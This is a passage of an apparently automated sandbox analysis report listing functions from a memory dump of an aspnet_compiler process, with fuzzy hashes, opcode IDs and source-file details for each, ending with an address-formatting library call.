                  • Opcode Fuzzy Hash: 4907ea2b066eddc35caf169c99f90060e268c0f583ba502b4ce7efe9c89e7625
                  • Instruction Fuzzy Hash: 1D900275B0580012E140719C48985464005E7E0306B95C051E0424554CCA148A5A5361
                  Function 01394650 Relevance: .0, Instructions: 4COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: b78569b427e00e989d4d0b7132ab0a2ea73456cc022c874b278c8261eaccd3f5
                  • Instruction ID: f44f1666d09ef209627cb51b45c3077bdf6e4f7a77cd08948c652b575e2bab91
                  • Opcode Fuzzy Hash: b78569b427e00e989d4d0b7132ab0a2ea73456cc022c874b278c8261eaccd3f5
                  • Instruction Fuzzy Hash: 4D9002A5B01500429140719C48184066005E7E13063D5C155A0554560CC61889599369
                  Function 01392B60 Relevance: .0, Instructions: 4COMMONLIBRARYCODE
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: c6eca65387f8cbd2d3c2ecae69a11608095565f434516c40ee3437ed5c8a0c33
                  • Instruction ID: 54a94143255f7bc2a3254bdae96c69da31920ee960dee43c8729d1ec4aa2afd0
                  • Opcode Fuzzy Hash: c6eca65387f8cbd2d3c2ecae69a11608095565f434516c40ee3437ed5c8a0c33
                  • Instruction Fuzzy Hash: 249002A5702400039105719C4428616400AD7E0206B95C061E1014590DC52589956225
                  Function 01392BA0 Relevance: .0, Instructions: 4COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: dfabac3c2777eba355ece43c4672d82c406d8f883ea07039fe624d2997ff7160
                  • Instruction ID: a01454a4b9550121b05302f274716429318a62f2b36b0f2dee0379c907cb5d55
                  • Opcode Fuzzy Hash: dfabac3c2777eba355ece43c4672d82c406d8f883ea07039fe624d2997ff7160
                  • Instruction Fuzzy Hash: B7900275B0540802E150719C44287460005D7D0306F95C051A0024654DC7558B5977A1
                  Function 01392B80 Relevance: .0, Instructions: 4COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 2d2afcc7f9c93bcaded4a32d29b6c0d1e7bb9411e5aacdc1f75d22e15dd1fa1e
                  • Instruction ID: ff15e7c94fd0d1c9c4c715d8e51275da1f980ca398b0ab18d09adf4c5c800d4c
                  • Opcode Fuzzy Hash: 2d2afcc7f9c93bcaded4a32d29b6c0d1e7bb9411e5aacdc1f75d22e15dd1fa1e
                  • Instruction Fuzzy Hash: 7B90027570140802E104719C48186860005D7D0306F95C051A6024655ED66589957231
                  Function 01392BF0 Relevance: .0, Instructions: 4COMMONLIBRARYCODE
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 21fcc72d660052474c047d10c3f7bf0e7688994f20cc22e6d19cc11a3912d778
                  • Instruction ID: 27d948913df111ddc88081c8087eca3b9d044d39cde21c6310df0d3b0612c8c6
                  • Opcode Fuzzy Hash: 21fcc72d660052474c047d10c3f7bf0e7688994f20cc22e6d19cc11a3912d778
                  • Instruction Fuzzy Hash: 7F90027570140802E180719C441864A0005D7D1306FD5C055A0025654DCA158B5D77A1
                  Function 01392BE0 Relevance: .0, Instructions: 4COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 6e16ca3558e5ad3385901e2264d8390e91567ba6a282d2fc26ba085ff13b30da
                  • Instruction ID: c88ba02455efaf4b2139030a8b50ebcea9713ea1d8e9820181b1bc05411dfb19
                  • Opcode Fuzzy Hash: 6e16ca3558e5ad3385901e2264d8390e91567ba6a282d2fc26ba085ff13b30da
                  • Instruction Fuzzy Hash: 7990027570544842E140719C4418A460015D7D030AF95C051A0064694DD6258E59B761
                  Function 01392AB0 Relevance: .0, Instructions: 4COMMONLIBRARYCODE
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 17d8d5ab2970280c16cf858884efe4b959a8ea02e9f7e336f07904a5ef21056c
                  • Instruction ID: e17992ca8a3c34bd884217003387bd5a6867b64d8d493f044df11efcf919e36c
                  • Opcode Fuzzy Hash: 17d8d5ab2970280c16cf858884efe4b959a8ea02e9f7e336f07904a5ef21056c
                  • Instruction Fuzzy Hash: EE9002E5701540929500B29C8418B0A4505D7E0206B95C056E1054560CC52589559235
                  Function 01392AF0 Relevance: .0, Instructions: 4COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 96e943a0c3b544fdceaad8e43ff9d411931c616c2056673797a5ff0398cdcf61
                  • Instruction ID: e4b55b88863f7ab3ef9ebc2d431e087dc74b36d8b6732df40a074d97b40c3c88
                  • Opcode Fuzzy Hash: 96e943a0c3b544fdceaad8e43ff9d411931c616c2056673797a5ff0398cdcf61
                  • Instruction Fuzzy Hash: 17900269721400025145B59C061850B0445E7D63563D5C055F1416590CC62189695321
                  Function 01392AD0 Relevance: .0, Instructions: 4COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 175e89d953e55c1e393dac52914be804f9d3fa0e22cf4d10fa92c2b185cbae54
                  • Instruction ID: 889fd49eca3b873cb439e22732a3ec5e64950351c93b5a7749d4c28f1c6127d1
                  • Opcode Fuzzy Hash: 175e89d953e55c1e393dac52914be804f9d3fa0e22cf4d10fa92c2b185cbae54
                  • Instruction Fuzzy Hash: 5F90047D711400035105F5DC071C5070047D7D53573D5C071F1015550CD731CD755331
                  Function 01392D30 Relevance: .0, Instructions: 4COMMONLIBRARYCODE
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 33e766e9df34841cf6bc1469486453b4e361bf5934feb2d2d715b0d93f064c50
                  • Instruction ID: 3bcfe5c298e04485f57fd5ecde75e51cde4a8b84cdb82f4c5f74a4f49e9ab351
                  • Opcode Fuzzy Hash: 33e766e9df34841cf6bc1469486453b4e361bf5934feb2d2d715b0d93f064c50
                  • Instruction Fuzzy Hash: A090026570140003E140719C542C6064005E7E1306F95D051E0414554CD915895A5322
                  Function 01392D10 Relevance: .0, Instructions: 4COMMONLIBRARYCODE
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: c5cf12438b823f956fe96b2323a7d2627d747addfb644c7909dd4a31df87ad8b
                  • Instruction ID: 4d517a52e65ce09ca2a1e8d9bbb5c995ee2d312e1a65bc90702dcdb31015d797
                  • Opcode Fuzzy Hash: c5cf12438b823f956fe96b2323a7d2627d747addfb644c7909dd4a31df87ad8b
                  • Instruction Fuzzy Hash: CD90026D71340002E180719C541C60A0005D7D1207FD5D455A0015558CC915896D5321
                  Function 01392D00 Relevance: .0, Instructions: 4COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 5a71eee9aa135b580ad0cd6b35d950ae13e8008b0e626e212d8eaabf490e48dc
                  • Instruction ID: 00d7bb50e0bd29b74387d006eaf27d2fe7647a25101e707d24da5d22013036fd
                  • Opcode Fuzzy Hash: 5a71eee9aa135b580ad0cd6b35d950ae13e8008b0e626e212d8eaabf490e48dc
                  • Instruction Fuzzy Hash: B590026570544442E100759C541CA060005D7D020AF95D051A1064595DC6358955A231
                  Function 01392DB0 Relevance: .0, Instructions: 4COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 8e42395254ff5e06ac1a0643e1ca9d0ecee36677234ae43fb2321cb5e27546e5
                  • Instruction ID: eca994b8e3190509e15cbba2affc40dfe564de9d33bcd716c41d94797e047145
                  • Opcode Fuzzy Hash: 8e42395254ff5e06ac1a0643e1ca9d0ecee36677234ae43fb2321cb5e27546e5
                  • Instruction Fuzzy Hash: 0090027574140402E141719C44186060009E7D0246FD5C052A0424554EC6558B5AAB61
                  Function 01392DD0 Relevance: .0, Instructions: 4COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: a40d813a6ed4865c491683621215e6d7d52be0f434351f74e723159b194d0d2e
                  • Instruction ID: f6654d845c9738dc4ad5e6bda0590f3f0fce7891c9edc979525a14c3e5297c6f
                  • Opcode Fuzzy Hash: a40d813a6ed4865c491683621215e6d7d52be0f434351f74e723159b194d0d2e
                  • Instruction Fuzzy Hash: F090026574244152A545B19C44185074006E7E02467D5C052A1414950CC526995AD721
                  Function 01392C60 Relevance: .0, Instructions: 4COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 594dca6a877b9a46ac1b0e469c01a99514fbab8dc75313f66a3398e6819ca7a0
                  • Instruction ID: 616768e27635898e81510b7f571fd4d0ed22c3f7b587c1fcfe24b7e35a691f54
                  • Opcode Fuzzy Hash: 594dca6a877b9a46ac1b0e469c01a99514fbab8dc75313f66a3398e6819ca7a0
                  • Instruction Fuzzy Hash: F890027570140842E100719C4418B460005D7E0306F95C056A0124654DC615C9557621
                  Function 01392CA0 Relevance: .0, Instructions: 4COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 53d3b96935caa6574bbfe771102a10d45ad94f0b10890ab78c3d860a5c772a83
                  • Instruction ID: acf212e65f20ca05c946b0713bd22930c0a88c629d68c4061e180417cff59a71
                  • Opcode Fuzzy Hash: 53d3b96935caa6574bbfe771102a10d45ad94f0b10890ab78c3d860a5c772a83
                  • Instruction Fuzzy Hash: BC90027570140402E10075DC541C6460005D7E0306F95D051A5024555EC66589956231
                  Function 01392CF0 Relevance: .0, Instructions: 4COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: d4ea31dbc528102e9cf90bbecabf6f0e1ed2146159d199ac249340f369ff9147
                  • Instruction ID: cf219d520f013b4bb78c3b9a9dd0a853f6fb87adea325321c60fa3a6ca50cf2b
                  • Opcode Fuzzy Hash: d4ea31dbc528102e9cf90bbecabf6f0e1ed2146159d199ac249340f369ff9147
                  • Instruction Fuzzy Hash: 8390027570140403E100719C551C7070005D7D0206F95D451A0424558DD65689556221
                  Function 01392CC0 Relevance: .0, Instructions: 4COMMONLIBRARYCODE
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 46c3e480ef7dbdd59c9db585167485d337de5e321c0f8f74929e6868723f0864
                  • Instruction ID: 4e796b16f680c4d13ed60bafb4e1a60129a622bd2b80040dbcba8380e371ece0
                  • Opcode Fuzzy Hash: 46c3e480ef7dbdd59c9db585167485d337de5e321c0f8f74929e6868723f0864
                  • Instruction Fuzzy Hash: 17900265B0540402E140719C542C7060015D7D0206F95D051A0024554DC6598B5967A1
                  Function 01392F30 Relevance: .0, Instructions: 4COMMONLIBRARYCODE
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 34789080342c4a5340f9325a96b4197649e1ee687f8afab9fa3715af5737c24f
                  • Instruction ID: 9f27e88d4af6192a74adfd8a6b230bf1c90fe0d71b80f4aa9926eadb1ce2c54e
                  • Opcode Fuzzy Hash: 34789080342c4a5340f9325a96b4197649e1ee687f8afab9fa3715af5737c24f
                  • Instruction Fuzzy Hash: 129002A574140442E100719C4428B060005D7E1306F95C055E1064554DC619CD566226
                  Function 01392F60 Relevance: .0, Instructions: 4COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 6bda260aa1990cb2acacc364c6b0be86a7c319d0222deb5ef06f42cb1858cb17
                  • Instruction ID: 31a412f669db0d85fd197990ad8d2120bacf46cd6fcd4fc0e80a1895c390c6e1
                  • Opcode Fuzzy Hash: 6bda260aa1990cb2acacc364c6b0be86a7c319d0222deb5ef06f42cb1858cb17
                  • Instruction Fuzzy Hash: 499002A571140042E104719C44187060045D7E1206F95C052A2154554CC5298D655225
                  Function 01392FB0 Relevance: .0, Instructions: 4COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: c7cbc78b7c9fb604ea70d48f7dba22aeea0d0ab243682907687c906677484756
                  • Instruction ID: 54d2ee8676f41c466ed1cea6bd126d83541e49cf764e5283b90eb6f83b6e5469
                  • Opcode Fuzzy Hash: c7cbc78b7c9fb604ea70d48f7dba22aeea0d0ab243682907687c906677484756
                  • Instruction Fuzzy Hash: 9E900265B0140042914071AC88589064005FBE1216795C161A0998550DC55989695765
                  Function 01392FA0 Relevance: .0, Instructions: 4COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 535227446b3fc16a83bc4b238d3aa20611b3bfe00acdf7d720253d457c24ff14
                  • Instruction ID: 3d174c0e60e1733cb188fb9f5cb3bfe6619e0448dd18369027692d9649af464f
                  • Opcode Fuzzy Hash: 535227446b3fc16a83bc4b238d3aa20611b3bfe00acdf7d720253d457c24ff14
                  • Instruction Fuzzy Hash: BB90027570180402E100719C481C7470005D7D0307F95C051A5164555EC665C9956631
                  Function 01392F90 Relevance: .0, Instructions: 4COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 117b0691897969359246c8e9d7961dc34223b045d3f38c841a61b4ec875fde15
                  • Instruction ID: e31db196d671ee527d71b97b8d553466959cd3cf3867f86f9f3a765c9b3251cb
                  • Opcode Fuzzy Hash: 117b0691897969359246c8e9d7961dc34223b045d3f38c841a61b4ec875fde15
                  • Instruction Fuzzy Hash: 3C90027570180402E100719C482870B0005D7D0307F95C051A1164555DC62589556671
                  Function 01392FE0 Relevance: .0, Instructions: 4COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 37323e035c8540c45f8c80d57a1532f4d4fa0f734d48bca24b5c620510c12784
                  • Instruction ID: d06669a847053416653201f7e752f8fe92601e1a3c42534a3956f1afe6b05b4b
                  • Opcode Fuzzy Hash: 37323e035c8540c45f8c80d57a1532f4d4fa0f734d48bca24b5c620510c12784
                  • Instruction Fuzzy Hash: 75900265711C0042E20075AC4C28B070005D7D0307F95C155A0154554CC91589655621
                  Function 01392E30 Relevance: .0, Instructions: 4COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 31f22d579c4a7e07ba033acacf1f059f4a9bb9991cfddd3833420403108eefe3
                  • Instruction ID: 29915110bda7f434b786002cd656e237a76372c06051634f16ffdd3d4fd7e4d6
                  • Opcode Fuzzy Hash: 31f22d579c4a7e07ba033acacf1f059f4a9bb9991cfddd3833420403108eefe3
                  • Instruction Fuzzy Hash: 7F90026570140402E102719C44286060009D7D134AFD5C052E1424555DC6258A57A232
                  Function 01392EA0 Relevance: .0, Instructions: 4COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: cb562d3b88690908e73c3b54bc678b7c5c00ac18d2f667dddfcf0b46137ba140
                  • Instruction ID: 21f2df315301fa64598472dd4384ac219f2aca6d730f82c64b98f17888c8ec1d
                  • Opcode Fuzzy Hash: cb562d3b88690908e73c3b54bc678b7c5c00ac18d2f667dddfcf0b46137ba140
                  • Instruction Fuzzy Hash: BC9002B570140402E140719C44187460005D7D0306F95C051A5064554EC6598ED96765
                  Function 01392E80 Relevance: .0, Instructions: 4COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 09bf5c79cac5ba81a50b442baf773361e4e7c423f16d70e940354b2cbf02b52e
                  • Instruction ID: 35a817bb7aadc9b6f9c6a90f91aacee160f109e0192d18b8a766bc017b650fca
                  • Opcode Fuzzy Hash: 09bf5c79cac5ba81a50b442baf773361e4e7c423f16d70e940354b2cbf02b52e
                  • Instruction Fuzzy Hash: AD900265B0140502E101719C4418616000AD7D0246FD5C062A1024555ECA258A96A231
                  Function 01392EE0 Relevance: .0, Instructions: 4COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 7ade756057c7e231d07e8ae7de395f6876d1b016368866b77a0b9c4221fb988c
                  • Instruction ID: 2e381ec8fdb1bae624cac0f12fd9483f2da637a1e7e07ddfd6d50e024bc79f91
                  • Opcode Fuzzy Hash: 7ade756057c7e231d07e8ae7de395f6876d1b016368866b77a0b9c4221fb988c
                  • Instruction Fuzzy Hash: D49002A570180403E140759C48186070005D7D0307F95C051A2064555ECA298D556235
                  Function 01393010 Relevance: .0, Instructions: 4COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 94121b9987e693643ed3d28b2e457b4869ce5e0f93bc4abd2ff14be7f318355e
                  • Instruction ID: 374203d49fd6d0efd8d867955c442230e72caa28601ef512d4636e312f9bdade
                  • Opcode Fuzzy Hash: 94121b9987e693643ed3d28b2e457b4869ce5e0f93bc4abd2ff14be7f318355e
                  • Instruction Fuzzy Hash: EB90026570184442E140729C4818B0F4105D7E1207FD5C059A4156554CC91589595721
                  Function 01393090 Relevance: .0, Instructions: 4COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 34e863650794e7e671e925c7964a30a6f6a456802e9d230c27c9fa430b0d26b5
                  • Instruction ID: e413c68b0a4ae352b96fbb47a129b465e8b5683a6958b30f504ae60e83f7d785
                  • Opcode Fuzzy Hash: 34e863650794e7e671e925c7964a30a6f6a456802e9d230c27c9fa430b0d26b5
                  • Instruction Fuzzy Hash: BF90026574140802E140719C84287070006D7D0606F95C051A0024554DC6168A6967B1
                  Function 013939B0 Relevance: .0, Instructions: 4COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 654088180512ce92cc4e4de417b7046f35d10b537a0892d3dfbe57a9372a968f
                  • Instruction ID: 3c214509fe3ec6ae80b68cdf4292e1992810251f55680b1ae1874091dbe7e6c3
                  • Opcode Fuzzy Hash: 654088180512ce92cc4e4de417b7046f35d10b537a0892d3dfbe57a9372a968f
                  • Instruction Fuzzy Hash: 1C90026574545102E150719C44186164005F7E0206F95C061A0814594DC55589596321
                  Function 01393D10 Relevance: .0, Instructions: 4COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: c4a12f7a6609933d87d2d5d94d917864327b3df7284f985f37479ae9456c413e
                  • Instruction ID: ab650f89d223decfc0d14fabdb4605baf40e3eda08399c8c25e1e8cfcefacccf
                  • Opcode Fuzzy Hash: c4a12f7a6609933d87d2d5d94d917864327b3df7284f985f37479ae9456c413e
                  • Instruction Fuzzy Hash: 0390027570240142E540729C5818A4E4105D7E1307BD5D455A0015554CC91489655321
                  Function 01393D70 Relevance: .0, Instructions: 4COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 77701b5151af8b9810045729c20cd1c6dd34ac62512fde447298cc1083283ef3
                  • Instruction ID: 8c5045ae56ae213ab015e4c21e0c4a5685e15d89a3e9deb3fa9b5b5ffbc0f094
                  • Opcode Fuzzy Hash: 77701b5151af8b9810045729c20cd1c6dd34ac62512fde447298cc1083283ef3
                  • Instruction Fuzzy Hash: 3490027970140402E510719C58186460046D7D0306F95D451A0424558DC65489A5A221
                  Function 01392C00 Relevance: .0, Instructions: 2COMMONLIBRARYCODE
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
                  • Instruction ID: a6d066aa7d5b28ad2df25e9cec57869bd68c93a4baa7b894d3225a3368ad5658
                  • Opcode Fuzzy Hash: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
                  • Instruction Fuzzy Hash:
                  Function 01392890 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 190COMMON
                  Download Yara Rule
                  APIs
                  Strings
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID: ___swprintf_l
                  • String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
                  • API String ID: 48624451-2108815105
